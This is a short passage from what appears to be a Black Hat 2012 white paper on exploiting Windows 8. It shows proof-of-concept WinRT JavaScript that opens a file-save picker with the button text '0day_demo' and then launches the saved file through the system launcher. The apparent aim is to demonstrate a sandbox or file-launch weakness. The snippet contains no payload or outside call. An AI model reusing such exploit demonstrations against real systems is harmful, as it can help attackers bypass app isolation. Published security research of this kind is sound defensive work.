BH_US_12_Tsai_Pan_Exploiting_Windows8_WP

The PoC Code:
var savePicker = new Windows.Storage.Pickers.FileSavePicker();
savePicker.suggestedStartLocation =
Windows.Storage.Pickers.PickerLocationId.desktop;
savePicker.defaultFileExtension = ".docx";
savePicker.suggestedFileName = "New Document";
savePicker.fileTypeChoices.insert("Microsoft Word Document", [".docx",
".doc"]);
savePicker.fileTypeChoices.insert("Plain Text", [".txt"]);
savePicker.commitButtonText = "0day_demo";
var userContent = "hello world";
savePicker.pickSaveFileAsync().then(function (file){
if (file) {
var options = new Windows.System.LauncherOptions();
options.displayApplicationPicker = true;
Windows.System.Launcher.launchFileAsync(file, options);
}
}
24